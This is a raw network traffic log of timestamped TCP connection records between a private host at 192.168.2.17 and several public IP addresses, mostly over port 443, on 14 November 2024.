Nov 14, 2024 16:39:47.701416016 CET	443	49745	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.701431990 CET	443	49745	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.701462030 CET	49745	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.701498985 CET	443	49745	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.701515913 CET	49745	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.701553106 CET	49745	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.701909065 CET	49745	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.701952934 CET	443	49745	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.704185963 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.704277992 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.704375982 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.704546928 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.704586029 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709408045 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709434986 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709462881 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709486008 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709487915 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.709505081 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709528923 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.709532976 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709556103 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.709556103 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.709603071 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724047899 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724071980 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.724143028 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724373102 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724426985 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.724487066 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724632978 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724644899 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.724800110 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.724822044 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.754014969 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:47.754053116 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:47.754133940 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:47.754348040 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:47.754354954 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:47.856333017 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.856344938 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.856393099 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.856441021 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.856453896 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.856493950 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.856509924 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.879575014 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:47.879661083 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:47.879728079 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:47.947848082 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.947875977 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.947947979 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.947973967 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.948019028 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.997595072 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.997627020 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.997709036 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:47.997734070 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:47.997776985 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.050951004 CET	49716	443	192.168.2.17	163.47.73.97
Nov 14, 2024 16:39:48.050983906 CET	443	49716	163.47.73.97	192.168.2.17
Nov 14, 2024 16:39:48.116503000 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.116522074 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.116617918 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.116642952 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.116695881 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.235501051 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.235522032 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.235615015 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.235639095 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.235677958 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.310138941 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.310158014 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.310251951 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.310276985 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.310317039 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.423461914 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.423479080 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.423583031 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.423607111 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.423662901 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.474561930 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.474592924 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.474720955 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.474733114 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.474777937 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.592398882 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:48.592698097 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:48.592714071 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:48.593059063 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:48.593105078 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.593128920 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.593189001 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.593213081 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.593239069 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.593250036 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.594119072 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:48.594206095 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:48.594440937 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:48.635334969 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:48.642640114 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.642909050 CET	49748	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.642932892 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.642993927 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.643161058 CET	49747	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.643193960 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.643261909 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.643593073 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.643713951 CET	49748	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.643775940 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.644094944 CET	49747	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.644169092 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.644260883 CET	49748	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.644304991 CET	49747	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.666754961 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.666785955 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.666876078 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.666887045 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.666933060 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.687339067 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.687371016 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.713535070 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.713557959 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.713666916 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.713695049 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.713771105 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.760188103 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.760555029 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.760621071 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.761507988 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.761576891 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.762031078 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.762101889 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.762229919 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.762247086 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.777967930 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.778207064 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.778223991 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.778593063 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.778898001 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.778966904 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.779016018 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.779592037 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.779895067 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.779906034 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.780256033 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.780556917 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.780613899 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.780745029 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.807696104 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.819365978 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.823692083 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.827331066 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.830876112 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.830907106 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.830957890 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.830977917 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.831002951 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.831022978 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.873162985 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.873209953 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.873264074 CET	49748	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.873267889 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.873322010 CET	49748	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.873614073 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.873683929 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.873730898 CET	49747	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.873745918 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.873789072 CET	49747	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.874998093 CET	49748	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.875017881 CET	443	49748	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.875232935 CET	49747	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.875250101 CET	443	49747	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.898835897 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.898857117 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.898921013 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:48.898935080 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:48.898986101 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.269301891 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.269311905 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.269346952 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.269501925 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.269501925 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.269511938 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.269561052 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.270093918 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270586967 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270652056 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270704031 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.270718098 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270726919 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270731926 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270766020 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270791054 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.270823002 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.270827055 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.270872116 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271102905 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271116972 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:49.271120071 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271136045 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:49.271177053 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:49.271179914 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271183968 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271245956 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271246910 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271256924 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271285057 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271286011 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:49.271320105 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271323919 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271344900 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271372080 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271508932 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271519899 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271579981 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271603107 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271615028 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271625042 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.271671057 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.271707058 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.272079945 CET	49751	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.272092104 CET	443	49751	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.272383928 CET	49750	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.272396088 CET	443	49750	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.272958040 CET	49749	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.272962093 CET	443	49749	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.274334908 CET	49752	443	192.168.2.17	78.138.9.37
Nov 14, 2024 16:39:49.274344921 CET	443	49752	78.138.9.37	192.168.2.17
Nov 14, 2024 16:39:49.276319027 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.276335001 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.276438951 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.276490927 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.276534081 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.276572943 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.278974056 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.278991938 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.279073000 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.279079914 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.279128075 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.281445026 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.281485081 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.281569958 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.281805992 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.281852961 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.281915903 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.282121897 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.282141924 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.282547951 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.282562971 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.287107944 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:39:49.306606054 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.306624889 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.306730032 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.306752920 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.306813955 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.374408007 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.374449968 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.374557018 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.374599934 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.374623060 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.374661922 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.425626040 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.425651073 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.425836086 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.425860882 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.425921917 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.493735075 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.493757010 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.494000912 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.494030952 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.494091988 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.544482946 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.544508934 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.544698000 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.544723988 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.544790030 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.545810938 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.545855045 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.545880079 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.545887947 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.545901060 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.545934916 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.545964956 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.546130896 CET	49743	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.546150923 CET	443	49743	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.551167965 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.551209927 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.551296949 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.551507950 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.551525116 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.567333937 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.567384958 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.567475080 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.567850113 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:49.567868948 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:49.588769913 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:39:50.177882910 CET	49680	443	192.168.2.17	20.189.173.13
Nov 14, 2024 16:39:50.194103003 CET	49682	80	192.168.2.17	192.229.211.108
Nov 14, 2024 16:39:50.451792002 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.451890945 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.452179909 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.452194929 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.452430964 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.452450991 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.452569008 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.452771902 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.452975035 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.453041077 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.453308105 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.453370094 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.453496933 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.453566074 CET	49754	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.495335102 CET	443	49754	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.499330044 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.640453100 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.640964031 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.640999079 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.642168999 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.642563105 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.642718077 CET	49756	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.642726898 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.642781973 CET	443	49756	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.645546913 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.645786047 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.645811081 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.646931887 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.647289038 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.647397995 CET	49755	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.647403955 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.647485971 CET	443	49755	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.683202028 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.683306932 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.683365107 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.683379889 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.683394909 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.683459044 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.684448004 CET	49753	443	192.168.2.17	152.199.21.175
Nov 14, 2024 16:39:50.684462070 CET	443	49753	152.199.21.175	192.168.2.17
Nov 14, 2024 16:39:50.685000896 CET	443	49754	152.199.21.175	192.168.2.17
